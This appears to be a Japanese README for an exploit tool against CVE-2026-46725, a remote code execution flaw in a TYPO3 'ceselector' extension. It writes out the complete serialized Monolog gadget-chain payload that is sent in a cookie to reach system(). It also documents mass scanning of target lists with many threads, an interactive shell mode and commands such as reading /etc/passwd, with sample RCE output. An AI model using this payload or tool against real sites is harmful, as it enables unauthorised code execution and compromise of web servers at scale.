1. GET /  →  サーバー Set-Cookie: T3_ceselector_<id>=<value> を返す
2. GET /  →  Cookie: T3_ceselector_<id>=<PAYLOAD>
             └─ PHP unserialize() がトリガーされる
             └─ Monolog Gadget Chain が実行される
             └─ system("id") の出力がレスポンスに反映される

Monolog\Handler\GroupHandler
  └─ Monolog\Handler\BufferHandler
       └─ Monolog\LogRecord (buffer)
            └─ processors: [get_object_vars, end, system]
                 └─ system("<CMD>")  ← RCE

O:28:"Monolog\Handler\GroupHandler":1:{
  s:11:"*handlers";a:1:{
    i:0;O:29:"Monolog\Handler\BufferHandler":6:{
      s:10:"*handler";r:3;
      s:13:"*bufferSize";i:1;
      s:14:"*bufferLimit";i:0;
      s:9:"*buffer";a:1:{
        i:0;O:17:"Monolog\LogRecord":2:{
          s:5:"level";E:19:"Monolog\Level:Debug";
          s:5:"mixed";s:2:"id";   ← OS コマンドはここ
        }
      }
      s:14:"*initialized";b:1;
      s:13:"*processors";a:3:{
        i:0;s:15:"get_object_vars";
        i:1;s:3:"end";
        i:2;s:6:"system";   ← sink
      }
    }
  }
}

Python >= 3.8
requests >= 2.28.0

# リポジトリをクローン
git clone https://github.com/example/CVE-2026-46725
cd CVE-2026-46725

# 依存関係をインストール
pip install requests

# または requirements.txt を使用
pip install -r requirements.txt

requests>=2.28.0
urllib3>=1.26.0

usage: CVE-2026-46725 [-h] (-u URL | -l FILE) [-c CMD] [-i]
                      [-t N] [--timeout S] [--proxy URL]
                      [-o FILE] [-v] [--no-color]

options:
ターゲット:
  -u, --url URL       単一ターゲット URL
  -l, --list FILE     ターゲットリスト（1行に1URL）

エクスプロイト:
  -c, --cmd CMD       実行する OS コマンド（デフォルト: id）
  -i, --interactive   エクスプロイト成功後に対話型シェルを開く

スキャン:
  -t, --threads N     スレッド数（デフォルト: 10）
  --timeout S         タイムアウト（秒）（デフォルト: 15）
  --proxy URL         プロキシ（例: http://127.0.0.1:8080）

出力:
  -o, --output FILE   結果ファイル
  -v, --verbose       詳細出力
  --no-color          色なし出力

python CVE-2026-46725.py -u https://typo3-site.com

python CVE-2026-46725.py -u https://typo3-site.com -c "whoami"
python CVE-2026-46725.py -u https://typo3-site.com -c "cat /etc/passwd"
python CVE-2026-46725.py -u https://typo3-site.com -c "uname -a"

python CVE-2026-46725.py -u https://typo3-site.com --interactive

typo3@ceselector $ id
│ uid=33(www-data) gid=33(www-data) groups=33(www-data)
typo3@ceselector $ uname -a
│ Linux web01 5.15.0-91-generic #101-Ubuntu SMP x86_64 GNU/Linux
typo3@ceselector $ pwd
│ /var/www/html
typo3@ceselector $ exit

# 20スレッドでスキャン、結果を保存
python CVE-2026-46725.py -l targets.txt -t 20 -o results.txt

# 30スレッド、カスタムコマンド
python CVE-2026-46725.py -l targets.txt -t 30 -c "id"

python CVE-2026-46725.py -u https://typo3-site.com \
  --proxy http://127.0.0.1:8080 -v

https://site1.com
https://site2.com
http://site3.com
site4.com

① TYPO3 & ceselector 検出
────────────────────────────────────────────────────
· TYPO3             ✓ 検出
· ceselector        ✓ 有効
· Cookie 名        T3_ceselector_48291
· TYPO3 バージョン       12.4.3

② ペイロード準備中
────────────────────────────────────────────────────
· 手法            PHP オブジェクトインジェクション → Monolog Gadget Chain
· Gadget            Monolog\Handler\GroupHandler
· Sink              system()
· コマンド             id

④ RCE 出力
────────────────────────────────────────────────────
┌─ RCE 出力 ───────────────────────────────────
│ uid=33(www-data) gid=33(www-data) groups=33(www-data)
└─────────────────────────────────────────────────

============================================================
CVE-2026-46725 — TYPO3 ceselector RCE
日付: 2026-05-26 17:30:00
============================================================

[+] RCE が取得できたターゲット (2)
----------------------------------------
URL        : https://typo3-site.com
バージョン      : 12.4.3
Cookie     : T3_ceselector_48291
コマンド      : id
出力      : uid=33(www-data) gid=33(www-data) groups=33(www-data)

┌─────────────────────────────────────────────────────────┐
│                    エクスプロイトフロー                   │
├─────────────────────────────────────────────────────────┤
│                                                         │
│  1. 検出                                                │
│     GET /  ──────────────────────► TYPO3 サーバー       │
│             ◄──── Set-Cookie: T3_ceselector_XXXXX ───── │
│                                                         │
│  2. ペイロード準備                                       │
│     build_payload("id")                                 │
│     └─ Monolog gadget チェーンを URL エンコード          │
│                                                         │
│  3. エクスプロイト                                      │
│     GET /                                               │
│     Cookie: T3_ceselector_XXXXX=O:28:"Monolog...        │
│             ──────────────────────► unserialize()       │
│                                    └─ __destruct()      │
│                                    └─ system("id")      │
│             ◄──── uid=33(www-data) gid=33(www-data) ─── │
│                                                         │
│  4. 検証                                                │
│     regex: uid=\d+\([a-z_][a-z0-9_-]*\)\s+gid=...      │
│                                                         │
└─────────────────────────────────────────────────────────┘